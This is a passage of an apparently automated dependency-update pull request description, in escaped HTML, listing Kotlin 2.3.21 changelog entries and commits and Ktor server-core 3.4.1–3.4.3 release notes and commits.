2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.2.21...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-core` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca 